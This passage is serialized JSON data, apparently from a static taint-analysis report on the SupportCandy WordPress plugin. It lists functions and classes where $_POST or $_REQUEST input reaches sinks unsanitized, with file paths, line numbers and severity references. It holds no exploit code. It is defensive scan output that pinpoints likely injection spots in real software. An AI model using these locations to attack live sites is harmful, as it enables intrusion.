(includes\\admin\\settings\\dashboard-settings\\class-wpsc-dashboard-settings.php:126)",{"nodes":3750,"edges":3753},[3751,3752],{"id":3539,"type":3540,"label":3655,"file":596,"line":2385},{"id":3543,"type":3544,"label":3567,"file":596,"line":1107,"wp_function":3569},[3754],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3756,"graph":3757,"unsanitizedCount":29,"severity":3550},"set_edit_dashboard_card_widget (includes\\admin\\settings\\dashboard-settings\\class-wpsc-dashboard-settings.php:232)",{"nodes":3758,"edges":3762},[3759,3760],{"id":3539,"type":3540,"label":3541,"file":596,"line":2905},{"id":3543,"type":3544,"label":3628,"file":596,"line":3761,"wp_function":1617},267,[3763],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3765,"graph":3766,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-dashboard-settings> (includes\\admin\\settings\\dashboard-settings\\class-wpsc-dashboard-settings.php:0)",{"nodes":3767,"edges":3774},[3768,3769,3770,3772],{"id":3539,"type":3540,"label":3655,"file":596,"line":2385},{"id":3543,"type":3544,"label":3567,"file":596,"line":1107,"wp_function":3569},{"id":3771,"type":3540,"label":3541,"file":596,"line":2905},"n2",{"id":3773,"type":3544,"label":3628,"file":596,"line":3761,"wp_function":1617},"n3",[3775,3776],{"from":3539,"to":3543,"sanitized":1401},{"from":3771,"to":3773,"sanitized":1401},{"entryPoint":3778,"graph":3779,"unsanitizedCount":29,"severity":3550},"get_recent_activities (includes\\admin\\settings\\dashboard-settings\\widgets\\class-wpsc-dbw-recent-activities.php:89)",{"nodes":3780,"edges":3783},[3781,3782],{"id":3539,"type":3540,"label":3646,"file":1831,"line":2631},{"id":3543,"type":3544,"label":3567,"file":1831,"line":2289,"wp_function":3569},[3784],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3786,"graph":3787,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-dbw-recent-activities> (includes\\admin\\settings\\dashboard-settings\\widgets\\class-wpsc-dbw-recent-activities.php:0)",{"nodes":3788,"edges":3791},[3789,3790],{"id":3539,"type":3540,"label":3646,"file":1831,"line":2631},{"id":3543,"type":3544,"label":3567,"file":1831,"line":2289,"wp_function":3569},[3792],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3794,"graph":3795,"unsanitizedCount":29,"severity":3550},"recent_tickets_list (includes\\admin\\settings\\dashboard-settings\\widgets\\class-wpsc-dbw-recent-tickets.php:82)",{"nodes":3796,"edges":3800},[3797,3799],{"id":3539,"type":3540,"label":3564,"file":1836,"line":3798},88,{"id":3543,"type":3544,"label":3567,"file":1836,"line":2301,"wp_function":3569},[3801],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3803,"graph":3804,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-dbw-recent-tickets> (includes\\admin\\settings\\dashboard-settings\\widgets\\class-wpsc-dbw-recent-tickets.php:0)",{"nodes":3805,"edges":3808},[3806,3807],{"id":3539,"type":3540,"label":3564,"file":1836,"line":3798},{"id":3543,"type":3544,"label":3567,"file":1836,"line":2301,"wp_function":3569},[3809],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3811,"graph":3812,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\settings\\general-settings\\class-wpsc-gs-file-attachments.php:124)",{"nodes":3813,"edges":3817},[3814,3816],{"id":3539,"type":3540,"label":3564,"file":605,"line":3815},146,{"id":3543,"type":3544,"label":3628,"file":605,"line":2412,"wp_function":1617},[3818],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3820,"graph":3821,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-gs-file-attachments> (includes\\admin\\settings\\general-settings\\class-wpsc-gs-file-attachments.php:0)",{"nodes":3822,"edges":3825},[3823,3824],{"id":3539,"type":3540,"label":3564,"file":605,"line":3815},{"id":3543,"type":3544,"label":3628,"file":605,"line":2412,"wp_function":1617},[3826],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3828,"graph":3829,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\settings\\general-settings\\class-wpsc-gs-general.php:280)",{"nodes":3830,"edges":3835},[3831,3833],{"id":3539,"type":3540,"label":3564,"file":616,"line":3832},302,{"id":3543,"type":3544,"label":3628,"file":616,"line":3834,"wp_function":1617},305,[3836],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3838,"graph":3839,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-gs-general> (includes\\admin\\settings\\general-settings\\class-wpsc-gs-general.php:0)",{"nodes":3840,"edges":3843},[3841,3842],{"id":3539,"type":3540,"label":3564,"file":616,"line":3832},{"id":3543,"type":3544,"label":3628,"file":616,"line":3834,"wp_function":1617},[3844],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3846,"graph":3847,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\settings\\general-settings\\class-wpsc-gs-page-settings.php:264)",{"nodes":3848,"edges":3853},[3849,3851],{"id":3539,"type":3540,"label":3564,"file":626,"line":3850},306,{"id":3543,"type":3544,"label":3628,"file":626,"line":3852,"wp_function":1617},309,[3854],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3856,"graph":3857,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-gs-page-settings> (includes\\admin\\settings\\general-settings\\class-wpsc-gs-page-settings.php:0)",{"nodes":3858,"edges":3861},[3859,3860],{"id":3539,"type":3540,"label":3541,"file":626,"line":3850},{"id":3543,"type":3544,"label":3628,"file":626,"line":3852,"wp_function":1617},[3862],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3864,"graph":3865,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\settings\\general-settings\\class-wpsc-gs-thankyou-page-settings.php:278)",{"nodes":3866,"edges":3870},[3867,3869],{"id":3539,"type":3540,"label":3564,"file":1880,"line":3868},298,{"id":3543,"type":3544,"label":3628,"file":1880,"line":216,"wp_function":1617},[3871],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3873,"graph":3874,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-gs-thankyou-page-settings> (includes\\admin\\settings\\general-settings\\class-wpsc-gs-thankyou-page-settings.php:0)",{"nodes":3875,"edges":3878},[3876,3877],{"id":3539,"type":3540,"label":3564,"file":1880,"line":3868},{"id":3543,"type":3544,"label":3628,"file":1880,"line":216,"wp_function":1617},[3879],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3881,"graph":3882,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\settings\\miscellaneous-settings\\class-wpsc-ms-advanced.php:403)",{"nodes":3883,"edges":3888},[3884,3886],{"id":3539,"type":3540,"label":3564,"file":639,"line":3885},448,{"id":3543,"type":3544,"label":3628,"file":639,"line":3887,"wp_function":1617},451,[3889],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3891,"graph":3892,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-ms-advanced> (includes\\admin\\settings\\miscellaneous-settings\\class-wpsc-ms-advanced.php:0)",{"nodes":3893,"edges":3896},[3894,3895],{"id":3539,"type":3540,"label":3564,"file":639,"line":3885},{"id":3543,"type":3544,"label":3628,"file":639,"line":3887,"wp_function":1617},[3897],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3899,"graph":3900,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\settings\\miscellaneous-settings\\class-wpsc-ms-gdpr.php:248)",{"nodes":3901,"edges":3906},[3902,3904],{"id":3539,"type":3540,"label":3564,"file":641,"line":3903},269,{"id":3543,"type":3544,"label":3628,"file":641,"line":3905,"wp_function":1617},272,[3907],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3909,"graph":3910,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-ms-gdpr> (includes\\admin\\settings\\miscellaneous-settings\\class-wpsc-ms-gdpr.php:0)",{"nodes":3911,"edges":3914},[3912,3913],{"id":3539,"type":3540,"label":3564,"file":641,"line":3903},{"id":3543,"type":3544,"label":3628,"file":641,"line":3905,"wp_function":1617},[3915],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3917,"graph":3918,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\settings\\miscellaneous-settings\\class-wpsc-ms-recaptcha.php:124)",{"nodes":3919,"edges":3922},[3920,3921],{"id":3539,"type":3540,"label":3564,"file":657,"line":2395},{"id":3543,"type":3544,"label":3628,"file":657,"line":2401,"wp_function":1617},[3923],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3925,"graph":3926,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-ms-recaptcha> (includes\\admin\\settings\\miscellaneous-settings\\class-wpsc-ms-recaptcha.php:0)",{"nodes":3927,"edges":3932},[3928,3929,3930,3931],{"id":3539,"type":3540,"label":3564,"file":657,"line":2395},{"id":3543,"type":3544,"label":3628,"file":657,"line":2401,"wp_function":1617},{"id":3771,"type":3540,"label":3541,"file":657,"line":2395},{"id":3773,"type":3544,"label":3567,"file":657,"line":1029,"wp_function":3569},[3933,3934],{"from":3539,"to":3543,"sanitized":1401},{"from":3771,"to":3773,"sanitized":1401},{"entryPoint":3936,"graph":3937,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\settings\\miscellaneous-settings\\class-wpsc-ms-tac.php:215)",{"nodes":3938,"edges":3943},[3939,3941],{"id":3539,"type":3540,"label":3564,"file":662,"line":3940},233,{"id":3543,"type":3544,"label":3628,"file":662,"line":3942,"wp_function":1617},236,[3944],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3946,"graph":3947,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-ms-tac> (includes\\admin\\settings\\miscellaneous-settings\\class-wpsc-ms-tac.php:0)",{"nodes":3948,"edges":3951},[3949,3950],{"id":3539,"type":3540,"label":3564,"file":662,"line":3940},{"id":3543,"type":3544,"label":3628,"file":662,"line":3942,"wp_function":1617},[3952],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3954,"graph":3955,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\settings\\text-editor-settings\\class-wpsc-te-advanced.php:93)",{"nodes":3956,"edges":3959},[3957,3958],{"id":3539,"type":3540,"label":3564,"file":1917,"line":2254},{"id":3543,"type":3544,"label":3628,"file":1917,"line":2263,"wp_function":1617},[3960],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3962,"graph":3963,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-te-advanced> (includes\\admin\\settings\\text-editor-settings\\class-wpsc-te-advanced.php:0)",{"nodes":3964,"edges":3967},[3965,3966],{"id":3539,"type":3540,"label":3564,"file":1917,"line":2254},{"id":3543,"type":3544,"label":3628,"file":1917,"line":2263,"wp_function":1617},[3968],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3970,"graph":3971,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\settings\\text-editor-settings\\class-wpsc-te-agent.php:159)",{"nodes":3972,"edges":3975},[3973,3974],{"id":3539,"type":3540,"label":3564,"file":1924,"line":876},{"id":3543,"type":3544,"label":3628,"file":1924,"line":880,"wp_function":1617},[3976],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3978,"graph":3979,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-te-agent> (includes\\admin\\settings\\text-editor-settings\\class-wpsc-te-agent.php:0)",{"nodes":3980,"edges":3983},[3981,3982],{"id":3539,"type":3540,"label":3564,"file":1924,"line":876},{"id":3543,"type":3544,"label":3628,"file":1924,"line":880,"wp_function":1617},[3984],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3986,"graph":3987,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\settings\\text-editor-settings\\class-wpsc-te-guest-user.php:159)",{"nodes":3988,"edges":3991},[3989,3990],{"id":3539,"type":3540,"label":3564,"file":1931,"line":876},{"id":3543,"type":3544,"label":3628,"file":1931,"line":880,"wp_function":1617},[3992],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3994,"graph":3995,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-te-guest-user> (includes\\admin\\settings\\text-editor-settings\\class-wpsc-te-guest-user.php:0)",{"nodes":3996,"edges":3999},[3997,3998],{"id":3539,"type":3540,"label":3564,"file":1931,"line":876},{"id":3543,"type":3544,"label":3628,"file":1931,"line":880,"wp_function":1617},[4000],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4002,"graph":4003,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\settings\\text-editor-settings\\class-wpsc-te-registered-user.php:159)",{"nodes":4004,"edges":4007},[4005,4006],{"id":3539,"type":3540,"label":3564,"file":1938,"line":876},{"id":3543,"type":3544,"label":3628,"file":1938,"line":880,"wp_function":1617},[4008],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4010,"graph":4011,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-te-registered-user> (includes\\admin\\settings\\text-editor-settings\\class-wpsc-te-registered-user.php:0)",{"nodes":4012,"edges":4015},[4013,4014],{"id":3539,"type":3540,"label":3564,"file":1938,"line":876},{"id":3543,"type":3544,"label":3628,"file":1938,"line":880,"wp_function":1617},[4016],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4018,"graph":4019,"unsanitizedCount":29,"severity":3550},"set_wh_settings (includes\\admin\\settings\\working-hrs\\class-wpsc-wh-settings.php:103)",{"nodes":4020,"edges":4023},[4021,4022],{"id":3539,"type":3540,"label":3564,"file":1980,"line":2281},{"id":3543,"type":3544,"label":3628,"file":1980,"line":2289,"wp_function":1617},[4024],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4026,"graph":4027,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-wh-settings> (includes\\admin\\settings\\working-hrs\\class-wpsc-wh-settings.php:0)",{"nodes":4028,"edges":4031},[4029,4030],{"id":3539,"type":3540,"label":3564,"file":1980,"line":2281},{"id":3543,"type":3544,"label":3628,"file":1980,"line":2289,"wp_function":1617},[4032],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4034,"graph":4035,"unsanitizedCount":29,"severity":3550},"get_edit_atl_default_filter (includes\\admin\\ticket-list\\class-wpsc-agent-ticket-list-settings.php:629)",{"nodes":4036,"edges":4040},[4037,4039],{"id":3539,"type":3540,"label":3564,"file":676,"line":4038},641,{"id":3543,"type":3544,"label":3567,"file":676,"line":3568,"wp_function":3569},[4041],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4043,"graph":4044,"unsanitizedCount":29,"severity":3550},"get_edit_agent_filter_item (includes\\admin\\ticket-list\\class-wpsc-agent-ticket-list-settings.php:1187)",{"nodes":4045,"edges":4050},[4046,4048],{"id":3539,"type":3540,"label":3655,"file":676,"line":4047},1197,{"id":3543,"type":3544,"label":3567,"file":676,"line":4049,"wp_function":3569},1230,[4051],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4053,"graph":4054,"unsanitizedCount":29,"severity":3550},"set_edit_agent_filter_item (includes\\admin\\ticket-list\\class-wpsc-agent-ticket-list-settings.php:1270)",{"nodes":4055,"edges":4060},[4056,4058],{"id":3539,"type":3540,"label":3564,"file":676,"line":4057},1290,{"id":3543,"type":3544,"label":3628,"file":676,"line":4059,"wp_function":1617},1320,[4061],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4063,"graph":4064,"unsanitizedCount":29,"severity":3550},"get_edit_agent_tl_item (includes\\admin\\ticket-list\\class-wpsc-agent-ticket-list-settings.php:1329)",{"nodes":4065,"edges":4070},[4066,4068],{"id":3539,"type":3540,"label":3655,"file":676,"line":4067},1339,{"id":3543,"type":3544,"label":3567,"file":676,"line":4069,"wp_function":3569},1372,[4071],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4073,"graph":4074,"unsanitizedCount":29,"severity":3550},"set_edit_agent_tl_item (includes\\admin\\ticket-list\\class-wpsc-agent-ticket-list-settings.php:1412)",{"nodes":4075,"edges":4080},[4076,4078],{"id":3539,"type":3540,"label":3564,"file":676,"line":4077},1432,{"id":3543,"type":3544,"label":3628,"file":676,"line":4079,"wp_function":1617},1462,[4081],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4083,"graph":4084,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-agent-ticket-list-settings> (includes\\admin\\ticket-list\\class-wpsc-agent-ticket-list-settings.php:0)",{"nodes":4085,"edges":4092},[4086,4088,4090,4091],{"id":3539,"type":3540,"label":4087,"file":676,"line":3053},"$_POST (x21)",{"id":3543,"type":3544,"label":3567,"file":676,"line":4089,"wp_function":3569},411,{"id":3771,"type":3540,"label":3541,"file":676,"line":4057},{"id":3773,"type":3544,"label":3628,"file":676,"line":4059,"wp_function":1617},[4093,4094],{"from":3539,"to":3543,"sanitized":1401},{"from":3771,"to":3773,"sanitized":1401},{"entryPoint":4096,"graph":4097,"unsanitizedCount":29,"severity":3550},"get_edit_ctl_default_filter (includes\\admin\\ticket-list\\class-wpsc-customer-ticket-list-settings.php:628)",{"nodes":4098,"edges":4103},[4099,4101],{"id":3539,"type":3540,"label":3564,"file":680,"line":4100},640,{"id":3543,"type":3544,"label":3567,"file":680,"line":4102,"wp_function":3569},732,[4104],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4106,"graph":4107,"unsanitizedCount":29,"severity":3550},"get_edit_ctl_filter_item (includes\\admin\\ticket-list\\class-wpsc-customer-ticket-list-settings.php:1187)",{"nodes":4108,"edges":4111},[4109,4110],{"id":3539,"type":3540,"label":3655,"file":680,"line":4047},{"id":3543,"type":3544,"label":3567,"file":680,"line":4049,"wp_function":3569},[4112],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4114,"graph":4115,"unsanitizedCount":29,"severity":3550},"set_edit_ctl_filter_item (includes\\admin\\ticket-list\\class-wpsc-customer-ticket-list-settings.php:1270)",{"nodes":4116,"edges":4119},[4117,4118],{"id":3539,"type":3540,"label":3564,"file":680,"line":4057},{"id":3543,"type":3544,"label":3628,"file":680,"line":4059,"wp_function":1617},[4120],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4122,"graph":4123,"unsanitizedCount":29,"severity":3550},"get_edit_customer_tl_item (includes\\admin\\ticket-list\\class-wpsc-customer-ticket-list-settings.php:1329)",{"nodes":4124,"edges":4127},[4125,4126],{"id":3539,"type":3540,"label":3655,"file":680,"line":4067},{"id":3543,"type":3544,"label":3567,"file":680,"line":4069,"wp_function":3569},[4128],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4130,"graph":4131,"unsanitizedCount":29,"severity":3550},"set_edit_customer_tl_item (includes\\admin\\ticket-list\\class-wpsc-customer-ticket-list-settings.php:1412)",{"nodes":4132,"edges":4135},[4133,4134],{"id":3539,"type":3540,"label":3564,"file":680,"line":4077},{"id":3543,"type":3544,"label":3628,"file":680,"line":3160,"wp_function":1617},[4136],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4138,"graph":4139,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-customer-ticket-list-settings> (includes\\admin\\ticket-list\\class-wpsc-customer-ticket-list-settings.php:0)",{"nodes":4140,"edges":4147},[4141,4143,4145,4146],{"id":3539,"type":3540,"label":4087,"file":680,"line":4142},362,{"id":3543,"type":3544,"label":3567,"file":680,"line":4144,"wp_function":3569},412,{"id":3771,"type":3540,"label":3541,"file":680,"line":4057},{"id":3773,"type":3544,"label":3628,"file":680,"line":4059,"wp_function":1617},[4148,4149],{"from":3539,"to":3543,"sanitized":1401},{"from":3771,"to":3773,"sanitized":1401},{"entryPoint":4151,"graph":4152,"unsanitizedCount":29,"severity":3550},"tl_ms_set_agent_view (includes\\admin\\ticket-list\\class-wpsc-ticket-list-more-settings.php:328)",{"nodes":4153,"edges":4158},[4154,4156],{"id":3539,"type":3540,"label":3564,"file":684,"line":4155},349,{"id":3543,"type":3544,"label":3628,"file":684,"line":4157,"wp_function":1617},352,[4159],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4161,"graph":4162,"unsanitizedCount":29,"severity":3550},"tl_ms_set_customer_view (includes\\admin\\ticket-list\\class-wpsc-ticket-list-more-settings.php:523)",{"nodes":4163,"edges":4168},[4164,4166],{"id":3539,"type":3540,"label":3564,"file":684,"line":4165},541,{"id":3543,"type":3544,"label":3628,"file":684,"line":4167,"wp_function":1617},544,[4169],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4171,"graph":4172,"unsanitizedCount":29,"severity":3550},"tl_ms_set_advanced (includes\\admin\\ticket-list\\class-wpsc-ticket-list-more-settings.php:645)",{"nodes":4173,"edges":4178},[4174,4176],{"id":3539,"type":3540,"label":3564,"file":684,"line":4175},659,{"id":3543,"type":3544,"label":3628,"file":684,"line":4177,"wp_function":1617},662,[4179],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4181,"graph":4182,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-ticket-list-more-settings> (includes\\admin\\ticket-list\\class-wpsc-ticket-list-more-settings.php:0)",{"nodes":4183,"edges":4186},[4184,4185],{"id":3539,"type":3540,"label":3655,"file":684,"line":4155},{"id":3543,"type":3544,"label":3628,"file":684,"line":4157,"wp_function":1617},[4187],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4189,"graph":4190,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-archive-ticket-list> (includes\\admin\\tickets\\class-wpsc-archive-ticket-list.php:0)",{"nodes":4191,"edges":4197},[4192,4195],{"id":3539,"type":3540,"label":4193,"file":695,"line":4194},"$_POST (x5)",299,{"id":3543,"type":3544,"label":3567,"file":695,"line":4196,"wp_function":3569},567,[4198],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4200,"graph":4201,"unsanitizedCount":29,"severity":3550},"it_thread_new_ticket (includes\\admin\\tickets\\class-wpsc-individual-ticket.php:2405)",{"nodes":4202,"edges":4207},[4203,4205],{"id":3539,"type":3540,"label":3541,"file":2221,"line":4204},2426,{"id":3543,"type":3544,"label":3567,"file":2221,"line":4206,"wp_function":3569},2441,[4208],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4210,"graph":4211,"unsanitizedCount":29,"severity":3550},"get_edit_thread (includes\\admin\\tickets\\class-wpsc-individual-ticket.php:2761)",{"nodes":4212,"edges":4217},[4213,4215],{"id":3539,"type":3540,"label":3564,"file":2221,"line":4214},2777,{"id":3543,"type":3544,"label":3567,"file":2221,"line":4216,"wp_function":3569},2836,[4218],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4220,"graph":4221,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-individual-ticket> (includes\\admin\\tickets\\class-wpsc-individual-ticket.php:0)",{"nodes":4222,"edges":4225},[4223,4224],{"id":3539,"type":3540,"label":3655,"file":2221,"line":4204},{"id":3543,"type":3544,"label":3567,"file":2221,"line":4206,"wp_function":3569},[4226],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4228,"graph":4229,"unsanitizedCount":29,"severity":3550},"get_ticket_form (includes\\admin\\tickets\\class-wpsc-new-ticket.php:55)",{"nodes":4230,"edges":4234},[4231,4232],{"id":3539,"type":3540,"label":3646,"file":2345,"line":1293},{"id":3543,"type":3544,"label":3567,"file":2345,"line":4233,"wp_function":3569},383,[4235],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4237,"graph":4238,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-new-ticket> (includes\\admin\\tickets\\class-wpsc-new-ticket.php:0)",{"nodes":4239,"edges":4242},[4240,4241],{"id":3539,"type":3540,"label":3646,"file":2345,"line":1293},{"id":3543,"type":3544,"label":3567,"file":2345,"line":4233,"wp_function":3569},[4243],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4245,"graph":4246,"unsanitizedCount":29,"severity":3550},"bulk_change_status (includes\\admin\\tickets\\class-wpsc-ticket-list.php:1560)",{"nodes":4247,"edges":4252},[4248,4250],{"id":3539,"type":3540,"label":3564,"file":706,"line":4249},1566,{"id":3543,"type":3544,"label":3567,"file":706,"line":4251,"wp_function":3569},1661,[4253],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4255,"graph":4256,"unsanitizedCount":29,"severity":3550},"bulk_assign_agents (includes\\admin\\tickets\\class-wpsc-ticket-list.php:1756)",{"nodes":4257,"edges":4262},[4258,4260],{"id":3539,"type":3540,"label":3564,"file":706,"line":4259},1762,{"id":3543,"type":3544,"label":3567,"file":706,"line":4261,"wp_function":3569},1848,[4263],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4265,"graph":4266,"unsanitizedCount":29,"severity":3550},"bulk_assign_tags (includes\\admin\\tickets\\class-wpsc-ticket-list.php:1946)",{"nodes":4267,"edges":4272},[4268,4270],{"id":3539,"type":3540,"label":3564,"file":706,"line":4269},1952,{"id":3543,"type":3544,"label":3567,"file":706,"line":4271,"wp_function":3569},2012,[4273],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4275,"graph":4276,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-ticket-list> (includes\\admin\\tickets\\class-wpsc-ticket-list.php:0)",{"nodes":4277,"edges":4282},[4278,4281],{"id":3539,"type":3540,"label":4279,"file":706,"line":4280},"$_POST (x18)",259,{"id":3543,"type":3544,"label":3567,"file":706,"line":3691,"wp_function":3569},[4283],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4285,"graph":4286,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-itw-raisedby> (includes\\admin\\tickets\\widgets\\class-wpsc-itw-raisedby.php:0)",{"nodes":4287,"edges":4291},[4288,4289],{"id":3539,"type":3540,"label":3646,"file":2545,"line":3477},{"id":3543,"type":3544,"label":3567,"file":2545,"line":4290,"wp_function":3569},823,[4292],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4294,"graph":4295,"unsanitizedCount":29,"severity":3550},"perform_manual_scheduler (includes\\class-wpsc-task-scheduler.php:135)",{"nodes":4296,"edges":4300},[4297,4299],{"id":3539,"type":3540,"label":4298,"file":835,"line":2333},"$_REQUEST (x2)",{"id":3543,"type":3544,"label":3567,"file":835,"line":1076,"wp_function":3569},[4301],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4303,"graph":4304,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-task-scheduler> (includes\\class-wpsc-task-scheduler.php:0)",{"nodes":4305,"edges":4308},[4306,4307],{"id":3539,"type":3540,"label":4298,"file":835,"line":2333},{"id":3543,"type":3544,"label":3567,"file":835,"line":1076,"wp_function":3569},[4309],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4311,"graph":4312,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-ticket-conditions> (includes\\class-wpsc-ticket-conditions.php:0)",{"nodes":4313,"edges":4318},[4314,4316],{"id":3539,"type":3540,"label":3541,"file":844,"line":4315},280,{"id":3543,"type":3544,"label":3567,"file":844,"line":4317,"wp_function":3569},316,[4319],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4321,"graph":4322,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-cf-number> (includes\\custom-field-types\\class-wpsc-cf-number.php:0)",{"nodes":4323,"edges":4328},[4324,4326],{"id":3539,"type":3540,"label":3564,"file":947,"line":4325},693,{"id":3543,"type":3544,"label":3567,"file":947,"line":4327,"wp_function":3569},945,[4329],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4331,"graph":4332,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-cf-time> (includes\\custom-field-types\\class-wpsc-cf-time.php:0)",{"nodes":4333,"edges":4338},[4334,4336],{"id":3539,"type":3540,"label":3564,"file":1005,"line":4335},294,{"id":3543,"type":3544,"label":3567,"file":1005,"line":4337,"wp_function":3569},483,[4339],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4341,"graph":4342,"unsanitizedCount":304,"severity":3550},"\u003Cclass-wpsc-cf-url> (includes\\custom-field-types\\class-wpsc-cf-url.php:0)",{"nodes":4343,"edges":4346},[4344,4345],{"id":3539,"type":3540,"label":3541,"file":1012,"line":3023},{"id":3543,"type":3544,"label":3567,"file":1012,"line":3505,"wp_function":3569},[4347],{"from":3539,"to":3543,"sanitized":52},{"entryPoint":4349,"graph":4350,"unsanitizedCount":29,"severity":3550},"layout (includes\\frontend\\class-wpsc-shortcode-one.php:59)",{"nodes":4351,"edges":4355},[4352,4354],{"id":3539,"type":3540,"label":4353,"file":1205,"line":1192},"$_REQUEST",{"id":3543,"type":3544,"label":3567,"file":1205,"line":2391,"wp_function":3569},[4356],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4358,"graph":4359,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-shortcode-one> (includes\\frontend\\class-wpsc-shortcode-one.php:0)",{"nodes":4360,"edges":4363},[4361,4362],{"id":3539,"type":3540,"label":4353,"file":1205,"line":1192},{"id":3543,"type":3544,"label":3567,"file":1205,"line":2391,"wp_function":3569},[4364],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4366,"graph":4367,"unsanitizedCount":29,"severity":3550},"layout (includes\\frontend\\class-wpsc-shortcode-three.php:37)",{"nodes":4368,"edges":4371},[4369,4370],{"id":3539,"type":3540,"label":4353,"file":1215,"line":451},{"id":3543,"type":3544,"label":3567,"file":1215,"line":791,"wp_function":3569},[4372],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4374,"graph":4375,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-shortcode-three> 